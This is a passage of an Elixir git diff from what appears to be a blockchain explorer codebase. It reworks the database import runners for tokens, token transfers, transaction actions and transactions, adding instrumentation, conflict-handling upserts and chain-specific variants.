as it is part of the composite primary + # key and used for the conflict target + transaction_hash: fragment("EXCLUDED.transaction_hash"), + amount: fragment("EXCLUDED.amount"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + token_contract_address_hash: fragment("EXCLUDED.token_contract_address_hash"), + token_ids: fragment("EXCLUDED.token_ids"), + token_type: fragment("EXCLUDED.token_type"), + block_consensus: fragment("EXCLUDED.block_consensus"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_transfer.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_transfer.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.amount, EXCLUDED.from_address_hash, EXCLUDED.to_address_hash, EXCLUDED.token_contract_address_hash, EXCLUDED.token_ids, EXCLUDED.token_type, EXCLUDED.block_consensus, EXCLUDED.transaction_hash) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?)", + token_transfer.amount, + token_transfer.from_address_hash, + token_transfer.to_address_hash, + token_transfer.token_contract_address_hash, + token_transfer.token_ids, + token_transfer.token_type, + token_transfer.block_consensus, + token_transfer.transaction_hash + ) + ) + + _ -> + from( + token_transfer in TokenTransfer, + update: [ + set: [ + # Don't update `transaction_hash` as it is part of the composite primary key and used for the conflict target + # Don't update `log_index` as it is part of the composite primary key and used for the conflict target + amount: fragment("EXCLUDED.amount"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + token_contract_address_hash: fragment("EXCLUDED.token_contract_address_hash"), + token_ids: fragment("EXCLUDED.token_ids"), + token_type: fragment("EXCLUDED.token_type"), + block_consensus: fragment("EXCLUDED.block_consensus"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_transfer.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_transfer.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.amount, EXCLUDED.from_address_hash, EXCLUDED.to_address_hash, EXCLUDED.token_contract_address_hash, EXCLUDED.token_ids, EXCLUDED.token_type, EXCLUDED.block_consensus) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + token_transfer.amount, + token_transfer.from_address_hash, + token_transfer.to_address_hash, + token_transfer.token_contract_address_hash, + token_transfer.token_ids, + token_transfer.token_type, + token_transfer.block_consensus + ) ) - ) + end end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/tokens.ex b/apps/explorer/lib/explorer/chain/import/runner/tokens.ex index 4d38921854d5..79676ff72d00 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/tokens.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/tokens.ex @@ -2,6 +2,7 @@ defmodule Explorer.Chain.Import.Runner.Tokens do @moduledoc """ Bulk imports `t:Explorer.Chain.Token.t/0`. """ + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] require Ecto.Query @@ -9,6 +10,7 @@ defmodule Explorer.Chain.Import.Runner.Tokens do alias Ecto.{Multi, Repo} alias Explorer.Chain.{Hash, Import, Token} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -21,79 +23,10 @@ defmodule Explorer.Chain.Import.Runner.Tokens do @type holder_count :: non_neg_integer() @type token_holder_count :: %{contract_address_hash: Hash.Address.t(), count: holder_count()} - def acquire_contract_address_tokens(repo, contract_address_hashes_and_token_ids) do - initial_query_no_token_id = - from(token in Token, - select: token - ) - - initial_query_with_token_id = - from(token in Token, - left_join: instance in Token.Instance, - on: token.contract_address_hash == instance.token_contract_address_hash, - select: token - ) - - {query_no_token_id, query_with_token_id} = - contract_address_hashes_and_token_ids - |> Enum.reduce({initial_query_no_token_id, initial_query_with_token_id}, fn {contract_address_hash, token_id}, - {query_no_token_id, - query_with_token_id} -> - if is_nil(token_id) do - {from( - token in query_no_token_id, - or_where: token.contract_address_hash == ^contract_address_hash - ), query_with_token_id} - else - {query_no_token_id, - from( - [token, instance] in query_with_token_id, - or_where: token.contract_address_hash == ^contract_address_hash and instance.token_id == ^token_id - )} - end - end) - - final_query_no_token_id = - if query_no_token_id == initial_query_no_token_id do - nil - else - from( - token in query_no_token_id, - # Enforce Token ShareLocks order (see docs: sharelocks.md) - order_by: [ - token.contract_address_hash - ], - lock: "FOR UPDATE" - ) - end - - final_query_with_token_id = - if query_with_token_id == initial_query_with_token_id do - nil - else - from( - [token, instance] in query_with_token_id, - # Enforce Token ShareLocks order (see docs: sharelocks.md) - order_by: [ - token.contract_address_hash, - instance.token_id - ], - lock: "FOR UPDATE" - ) - end - - tokens_no_token_id = (final_query_no_token_id && repo.all(final_query_no_token_id)) || [] - tokens_with_token_id = (final_query_with_token_id && repo.all(final_query_with_token_id)) || [] - tokens = tokens_no_token_id ++ tokens_with_token_id - - {:ok, tokens} - end - def update_holder_counts_with_deltas(repo, token_holder_count_deltas, %{ timeout: timeout, timestamps: %{updated_at: updated_at} }) do - # NOTE that acquire_contract_address_tokens needs to be called before this {hashes, deltas} = token_holder_count_deltas |> Enum.map(fn %{contract_address_hash: contract_address_hash, delta: delta} -> @@ -102,6 +35,15 @@ defmodule Explorer.Chain.Import.Runner.Tokens do end) |> Enum.unzip() + token_query = + from( + token in Token, + where: token.contract_address_hash in ^hashes, + select: token.contract_address_hash, + order_by: token.contract_address_hash, + lock: "FOR NO KEY UPDATE" + ) + query = from( token in Token, @@ -112,8 +54,8 @@ defmodule Explorer.Chain.Import.Runner.Tokens do ^deltas ), on: token.contract_address_hash == deltas.contract_address_hash, + where: token.contract_address_hash in subquery(token_query), where: not is_nil(token.holder_count), - # ShareLocks order already enforced by `acquire_contract_address_tokens` (see docs: sharelocks.md) update: [ set: [ holder_count: token.holder_count + deltas.delta, @@ -145,6 +87,12 @@ defmodule Explorer.Chain.Import.Runner.Tokens do } end + if @bridged_tokens_enabled do + @default_fields_to_replace [:name, :symbol, :total_supply, :decimals, :type, :cataloged, :bridged, :skip_metadata] + else + @default_fields_to_replace [:name, :symbol, :total_supply, :decimals, :type, :cataloged, :skip_metadata] + end + @impl Import.Runner def run(multi, changes_list, %{timestamps: timestamps} = options) do insert_options = @@ -154,14 +102,37 @@ defmodule Explorer.Chain.Import.Runner.Tokens do |> Map.put_new(:timeout, @timeout) |> Map.put(:timestamps, timestamps) - Multi.run(multi, :tokens, fn repo, _ -> - insert(repo, changes_list, insert_options) + multi + |> Multi.run(:filter_token_params, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> + filter_token_params( + repo, + changes_list, + options[option_key()][:fields_to_update] || @default_fields_to_replace + ) + end, + :block_referencing, + :tokens, + :filter_token_params + ) + end) + |> Multi.run(:tokens, fn repo, %{filter_token_params: filtered_changes_list} -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, filtered_changes_list, insert_options) end, + :block_referencing, + :tokens, + :tokens + ) end) end @impl Import.Runner def timeout, do: @timeout + @impl Import.Runner + def runner_specific_options, do: [:fields_to_update] + @spec insert(Repo.t(), [map()], %{ required(:on_conflict) => Import.Runner.on_conflict(), required(:timeout) => timeout(), @@ -172,8 +143,13 @@ defmodule Explorer.Chain.Import.Runner.Tokens do ordered_changes_list = changes_list - # brand new tokens start with no holders - |> Stream.map(&Map.put_new(&1, :holder_count, 0)) + # brand new tokens start with no holders and transfers + # set cataloged: nil, if not set before, to get proper COALESCE result + # if don't set it, cataloged will default to false (as in DB schema) + # and COALESCE in on_conflict will return false + |> Stream.map(fn token -> + token |> Map.put_new(:holder_count, 0) |> Map.put_new(:transfer_count, 0) |> Map.put_new(:cataloged, nil) + end) # Enforce Token ShareLocks order (see docs: sharelocks.md) |> Enum.sort_by(& &1.contract_address_hash) @@ -190,36 +166,154 @@ defmodule Explorer.Chain.Import.Runner.Tokens do ) end - def default_on_conflict do + defp filter_token_params(repo, changes_list, fields_to_replace) do + existing_token_map = + changes_list + |> Enum.map(& &1[:contract_address_hash]) + |> Enum.uniq() + |> Token.tokens_by_contract_address_hashes() + |> repo.all() + |> Map.new(&{&1.contract_address_hash, &1}) + + filtered_tokens = + Enum.filter(changes_list, fn token -> + existing_token = existing_token_map[token[:contract_address_hash]] + should_update?(token, existing_token, fields_to_replace) + end) + + {:ok, filtered_tokens} + end + + if @bridged_tokens_enabled do + def default_on_conflict do + from( + token in Token, + update: [ + set: [ + name: fragment("COALESCE(EXCLUDED.name, ?)", token.name), + symbol: fragment("COALESCE(EXCLUDED.symbol, ?)", token.symbol), + total_supply: fragment("COALESCE(EXCLUDED.total_supply, ?)", token.total_supply), + decimals: fragment("COALESCE(EXCLUDED.decimals, ?)", token.decimals), + type: fragment("COALESCE(EXCLUDED.type, ?)", token.type), + cataloged: fragment("COALESCE(EXCLUDED.cataloged, ?)", token.cataloged), + bridged: fragment("COALESCE(EXCLUDED.bridged, ?)", token.bridged), + skip_metadata: fragment("COALESCE(EXCLUDED.skip_metadata, ?)", token.skip_metadata), + # `holder_count` and `transfer_count` are not updated as a pre-existing token means these counts are already initialized OR + # need to be migrated with `priv/repo/migrations/scripts/update_new_tokens_holder_count_in_batches.sql.exs` + # Don't update `contract_address_hash` as it is the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.name, EXCLUDED.symbol, EXCLUDED.total_supply, EXCLUDED.decimals, EXCLUDED.type, EXCLUDED.cataloged, EXCLUDED.bridged, EXCLUDED.skip_metadata) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?)", + token.name, + token.symbol, + token.total_supply, + token.decimals, + token.type, + token.cataloged, + token.bridged, + token.skip_metadata + ) + ) + end + else + def default_on_conflict do + from( + token in Token, + update: [ + set: [ + name: fragment("COALESCE(EXCLUDED.name, ?)", token.name), + symbol: fragment("COALESCE(EXCLUDED.symbol, ?)", token.symbol), + total_supply: fragment("COALESCE(EXCLUDED.total_supply, ?)", token.total_supply), + decimals: fragment("COALESCE(EXCLUDED.decimals, ?)", token.decimals), + type: fragment("COALESCE(EXCLUDED.type, ?)", token.type), + cataloged: fragment("COALESCE(EXCLUDED.cataloged, ?)", token.cataloged), + skip_metadata: fragment("COALESCE(EXCLUDED.skip_metadata, ?)", token.skip_metadata), + # `holder_count` is not updated as a pre-existing token means the `holder_count` is already initialized OR + # need to be migrated with `priv/repo/migrations/scripts/update_new_tokens_holder_count_in_batches.sql.exs` + # Don't update `contract_address_hash` as it is the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.name, EXCLUDED.symbol, EXCLUDED.total_supply, EXCLUDED.decimals, EXCLUDED.type, EXCLUDED.cataloged, EXCLUDED.skip_metadata) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + token.name, + token.symbol, + token.total_supply, + token.decimals, + token.type, + token.cataloged, + token.skip_metadata + ) + ) + end + end + + def market_data_on_conflict do from( token in Token, update: [ set: [ - name: fragment("EXCLUDED.name"), - symbol: fragment("EXCLUDED.symbol"), - total_supply: fragment("EXCLUDED.total_supply"), - decimals: fragment("EXCLUDED.decimals"), - type: fragment("EXCLUDED.type"), - cataloged: fragment("EXCLUDED.cataloged"), - skip_metadata: fragment("EXCLUDED.skip_metadata"), - # `holder_count` is not updated as a pre-existing token means the `holder_count` is already initialized OR - # need to be migrated with `priv/repo/migrations/scripts/update_new_tokens_holder_count_in_batches.sql.exs` - # Don't update `contract_address_hash` as it is the primary key and used for the conflict target + name: fragment("COALESCE(?, EXCLUDED.name)", token.name), + symbol: fragment("COALESCE(?, EXCLUDED.symbol)", token.symbol), + type: token.type, + fiat_value: fragment("COALESCE(EXCLUDED.fiat_value, ?)", token.fiat_value), + circulating_market_cap: + fragment("COALESCE(EXCLUDED.circulating_market_cap, ?)", token.circulating_market_cap), + volume_24h: fragment("COALESCE(EXCLUDED.volume_24h, ?)", token.volume_24h), + icon_url: fragment("COALESCE(?, EXCLUDED.icon_url)", token.icon_url), inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token.inserted_at), updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token.updated_at) ] ], where: fragment( - "(EXCLUDED.name, EXCLUDED.symbol, EXCLUDED.total_supply, EXCLUDED.decimals, EXCLUDED.type, EXCLUDED.cataloged, EXCLUDED.skip_metadata) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", + "(EXCLUDED.name, EXCLUDED.symbol, EXCLUDED.type, EXCLUDED.fiat_value, EXCLUDED.circulating_market_cap, EXCLUDED.volume_24h, EXCLUDED.icon_url) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?)", token.name, token.symbol, - token.total_supply, - token.decimals, token.type, - token.cataloged, - token.skip_metadata + token.fiat_value, + token.circulating_market_cap, + token.volume_24h, + token.icon_url ) ) end + + @doc """ + Returns a list of market data fields that should be updated. + + This function provides the standard set of fields that require updates when + processing market data operations. + + ## Returns + - List of atoms representing the market data fields to update: `:name`, + `:symbol`, `:type`, `:fiat_value`, `:circulating_market_cap`, and + `:volume_24h` + """ + @spec market_data_fields_to_update() :: [ + :name | :symbol | :type | :fiat_value | :circulating_market_cap | :volume_24h + ] + def market_data_fields_to_update do + [:name, :symbol, :type, :fiat_value, :circulating_market_cap, :volume_24h] + end + + defp should_update?(_new_token, nil, _fields_to_replace), do: true + + defp should_update?(new_token, existing_token, fields_to_replace) do + new_token_params = Map.take(new_token, fields_to_replace) + + Enum.reduce_while(new_token_params, false, fn {key, value}, _acc -> + if Map.get(existing_token, key) == value do + {:cont, false} + else + {:halt, true} + end + end) + end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/transaction/forks.ex b/apps/explorer/lib/explorer/chain/import/runner/transaction/forks.ex index 99e9c275ddd2..19144b9dca97 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/transaction/forks.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/transaction/forks.ex @@ -9,6 +9,7 @@ defmodule Explorer.Chain.Import.Runner.Transaction.Forks do alias Ecto.{Multi, Repo} alias Explorer.Chain.{Hash, Import, Transaction} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -43,7 +44,12 @@ defmodule Explorer.Chain.Import.Runner.Transaction.Forks do |> Map.put(:timestamps, timestamps) Multi.run(multi, :transaction_forks, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :forks, + :transaction_forks + ) end) end diff --git a/apps/explorer/lib/explorer/chain/import/runner/transaction_actions.ex b/apps/explorer/lib/explorer/chain/import/runner/transaction_actions.ex new file mode 100644 index 000000000000..a5e54c7763eb --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/transaction_actions.ex @@ -0,0 +1,104 @@ +defmodule Explorer.Chain.Import.Runner.TransactionActions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.TransactionAction.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.{Import, TransactionAction} + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [TransactionAction.t()] + + @impl Import.Runner + def ecto_schema_module, do: TransactionAction + + @impl Import.Runner + def option_key, do: :transaction_actions + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_transaction_actions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :transaction_actions, + :transaction_actions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [TransactionAction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce TransactionAction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.hash, &1.log_index}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:hash, :log_index], + on_conflict: on_conflict, + for: TransactionAction, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + action in TransactionAction, + update: [ + set: [ + # Don't update `hash` as it is part of the composite primary key and used for the conflict target + # Don't update `log_index` as it is part of the composite primary key and used for the conflict target + protocol: fragment("EXCLUDED.protocol"), + data: fragment("EXCLUDED.data"), + type: fragment("EXCLUDED.type"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", action.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", action.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.protocol, EXCLUDED.data, EXCLUDED.type) IS DISTINCT FROM (?, ? ,?)", + action.protocol, + action.data, + action.type + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/transactions.ex index 0d18c1f3e877..7e9f4d2c34f3 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/transactions.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/transactions.ex @@ -2,14 +2,18 @@ defmodule Explorer.Chain.Import.Runner.Transactions do @moduledoc """ Bulk imports `t:Explorer.Chain.Transaction.t/0`. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] require Ecto.Query import Ecto.Query, only: [from: 2] alias Ecto.{Multi, Repo} - alias Explorer.Chain.{Block, Hash, Import, Transaction} + alias EthereumJSONRPC.Utility.RangesHelper + alias Explorer.Chain.{Block, Hash, Import, PendingOperationsHelper, PendingTransactionOperation, Transaction} alias Explorer.Chain.Import.Runner.TokenTransfers + alias Explorer.Prometheus.Instrumenter + alias Explorer.Utility.MissingRangesManipulator @behaviour Import.Runner @@ -45,10 +49,32 @@ defmodule Explorer.Chain.Import.Runner.Transactions do # Enforce ShareLocks tables order (see docs: sharelocks.md) multi |> Multi.run(:recollated_transactions, fn repo, _ -> - discard_blocks_for_recollated_transactions(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> + discard_blocks_for_recollated_transactions(repo, changes_list, insert_options) + end, + :block_referencing, + :transactions, + :recollated_transactions + ) end) |> Multi.run(:transactions, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :transactions, + :transactions + ) + end) + |> Multi.run(:new_pending_transaction_operations, fn repo, %{transactions: transactions} -> + Instrumenter.block_import_stage_runner( + fn -> + new_pending_transaction_operations(repo, transactions, insert_options) + end, + :block_referencing, + :transactions, + :new_pending_transaction_operations + ) end) end @@ -93,69 +119,506 @@ defmodule Explorer.Chain.Import.Runner.Transactions do ) end - defp default_on_conflict do - from( - transaction in Transaction, - update: [ - set: [ - block_hash: fragment("EXCLUDED.block_hash"), - old_block_hash: transaction.block_hash, - block_number: fragment("EXCLUDED.block_number"), - created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), - created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), - cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), - error: fragment("EXCLUDED.error"), - from_address_hash: fragment("EXCLUDED.from_address_hash"), - gas: fragment("EXCLUDED.gas"), - gas_price: fragment("EXCLUDED.gas_price"), - gas_used: fragment("EXCLUDED.gas_used"), - index: fragment("EXCLUDED.index"), - input: fragment("EXCLUDED.input"), - nonce: fragment("EXCLUDED.nonce"), - r: fragment("EXCLUDED.r"), - s: fragment("EXCLUDED.s"), - status: fragment("EXCLUDED.status"), - to_address_hash: fragment("EXCLUDED.to_address_hash"), - v: fragment("EXCLUDED.v"), - value: fragment("EXCLUDED.value"), - earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), - revert_reason: fragment("EXCLUDED.revert_reason"), - max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), - max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), - type: fragment("EXCLUDED.type"), - # Don't update `hash` as it is part of the primary key and used for the conflict target - inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), - updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) - ] - ], - where: - fragment( - "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", - transaction.block_hash, - transaction.block_number, - transaction.created_contract_address_hash, - transaction.created_contract_code_indexed_at, - transaction.cumulative_gas_used, - transaction.from_address_hash, - transaction.gas, - transaction.gas_price, - transaction.gas_used, - transaction.index, - transaction.input, - transaction.nonce, - transaction.r, - transaction.s, - transaction.status, - transaction.to_address_hash, - transaction.v, - transaction.value, - transaction.earliest_processing_start, - transaction.revert_reason, - transaction.max_priority_fee_per_gas, - transaction.max_fee_per_gas, - transaction.type + defp new_pending_transaction_operations(repo, inserted_transactions, %{timeout: timeout, timestamps: timestamps}) do + case PendingOperationsHelper.pending_operations_type() do + "transactions" -> + sorted_pending_ops = + inserted_transactions + |> RangesHelper.filter_by_height_range(&RangesHelper.traceable_block_number?(&1.block_number)) + |> Enum.reject(&is_nil(&1.block_number)) + |> Enum.map(&%{transaction_hash: &1.hash}) + |> Enum.sort() + + Import.insert_changes_list( + repo, + sorted_pending_ops, + conflict_target: :transaction_hash, + on_conflict: :nothing, + for: PendingTransactionOperation, + returning: true, + timeout: timeout, + timestamps: timestamps ) - ) + + _other_type -> + {:ok, []} + end + end + + # todo: avoid code duplication + case @chain_type do + :suave -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + execution_node_hash: fragment("EXCLUDED.execution_node_hash"), + wrapped_type: fragment("EXCLUDED.wrapped_type"), + wrapped_nonce: fragment("EXCLUDED.wrapped_nonce"), + wrapped_to_address_hash: fragment("EXCLUDED.wrapped_to_address_hash"), + wrapped_gas: fragment("EXCLUDED.wrapped_gas"), + wrapped_gas_price: fragment("EXCLUDED.wrapped_gas_price"), + wrapped_max_priority_fee_per_gas: fragment("EXCLUDED.wrapped_max_priority_fee_per_gas"), + wrapped_max_fee_per_gas: fragment("EXCLUDED.wrapped_max_fee_per_gas"), + wrapped_value: fragment("EXCLUDED.wrapped_value"), + wrapped_input: fragment("EXCLUDED.wrapped_input"), + wrapped_v: fragment("EXCLUDED.wrapped_v"), + wrapped_r: fragment("EXCLUDED.wrapped_r"), + wrapped_s: fragment("EXCLUDED.wrapped_s"), + wrapped_hash: fragment("EXCLUDED.wrapped_hash"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.block_hash, EXCLUDED.block_number, EXCLUDED.block_consensus, EXCLUDED.block_timestamp, EXCLUDED.created_contract_address_hash, EXCLUDED.created_contract_code_indexed_at, EXCLUDED.cumulative_gas_used, EXCLUDED.from_address_hash, EXCLUDED.gas, EXCLUDED.gas_price, EXCLUDED.gas_used, EXCLUDED.index, EXCLUDED.input, EXCLUDED.nonce, EXCLUDED.r, EXCLUDED.s, EXCLUDED.status, EXCLUDED.to_address_hash, EXCLUDED.v, EXCLUDED.value, EXCLUDED.earliest_processing_start, EXCLUDED.revert_reason, EXCLUDED.max_priority_fee_per_gas, EXCLUDED.max_fee_per_gas, EXCLUDED.type, EXCLUDED.execution_node_hash, EXCLUDED.wrapped_type, EXCLUDED.wrapped_nonce, EXCLUDED.wrapped_to_address_hash, EXCLUDED.wrapped_gas, EXCLUDED.wrapped_gas_price, EXCLUDED.wrapped_max_priority_fee_per_gas, EXCLUDED.wrapped_max_fee_per_gas, EXCLUDED.wrapped_value, EXCLUDED.wrapped_input, EXCLUDED.wrapped_v, EXCLUDED.wrapped_r, EXCLUDED.wrapped_s, EXCLUDED.wrapped_hash) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + transaction.block_hash, + transaction.block_number, + transaction.block_consensus, + transaction.block_timestamp, + transaction.created_contract_address_hash, + transaction.created_contract_code_indexed_at, + transaction.cumulative_gas_used, + transaction.from_address_hash, + transaction.gas, + transaction.gas_price, + transaction.gas_used, + transaction.index, + transaction.input, + transaction.nonce, + transaction.r, + transaction.s, + transaction.status, + transaction.to_address_hash, + transaction.v, + transaction.value, + transaction.earliest_processing_start, + transaction.revert_reason, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas, + transaction.type, + transaction.execution_node_hash, + transaction.wrapped_type, + transaction.wrapped_nonce, + transaction.wrapped_to_address_hash, + transaction.wrapped_gas, + transaction.wrapped_gas_price, + transaction.wrapped_max_priority_fee_per_gas, + transaction.wrapped_max_fee_per_gas, + transaction.wrapped_value, + transaction.wrapped_input, + transaction.wrapped_v, + transaction.wrapped_r, + transaction.wrapped_s, + transaction.wrapped_hash + ) + ) + end + + :optimism -> + defp default_on_conflict do + from( + transaction in Transaction, + update: [ + set: [ + block_hash: fragment("EXCLUDED.block_hash"), + old_block_hash: transaction.block_hash, + block_number: fragment("EXCLUDED.block_number"), + block_consensus: fragment("EXCLUDED.block_consensus"), + block_timestamp: fragment("EXCLUDED.block_timestamp"), + created_contract_address_hash: fragment("EXCLUDED.created_contract_address_hash"), + created_contract_code_indexed_at: fragment("EXCLUDED.created_contract_code_indexed_at"), + cumulative_gas_used: fragment("EXCLUDED.cumulative_gas_used"), + error: fragment("EXCLUDED.error"), + from_address_hash: fragment("EXCLUDED.from_address_hash"), + gas: fragment("EXCLUDED.gas"), + gas_price: fragment("EXCLUDED.gas_price"), + gas_used: fragment("EXCLUDED.gas_used"), + index: fragment("EXCLUDED.index"), + input: fragment("EXCLUDED.input"), + nonce: fragment("EXCLUDED.nonce"), + r: fragment("EXCLUDED.r"), + s: fragment("EXCLUDED.s"), + status: fragment("EXCLUDED.status"), + to_address_hash: fragment("EXCLUDED.to_address_hash"), + v: fragment("EXCLUDED.v"), + value: fragment("EXCLUDED.value"), + earliest_processing_start: fragment("EXCLUDED.earliest_processing_start"), + revert_reason: fragment("EXCLUDED.revert_reason"), + max_priority_fee_per_gas: fragment("EXCLUDED.max_priority_fee_per_gas"), + max_fee_per_gas: fragment("EXCLUDED.max_fee_per_gas"), + type: fragment("EXCLUDED.type"), + l1_fee: fragment("EXCLUDED.l1_fee"), + l1_fee_scalar: fragment("EXCLUDED.l1_fee_scalar"), + l1_gas_price: fragment("EXCLUDED.l1_gas_price"), + l1_gas_used: fragment("EXCLUDED.l1_gas_used"), + l1_transaction_origin: fragment("EXCLUDED.l1_transaction_origin"), + l1_block_number: fragment("EXCLUDED.l1_block_number"), + # Don't update `hash` as it is part of the primary key and used for the conflict target + 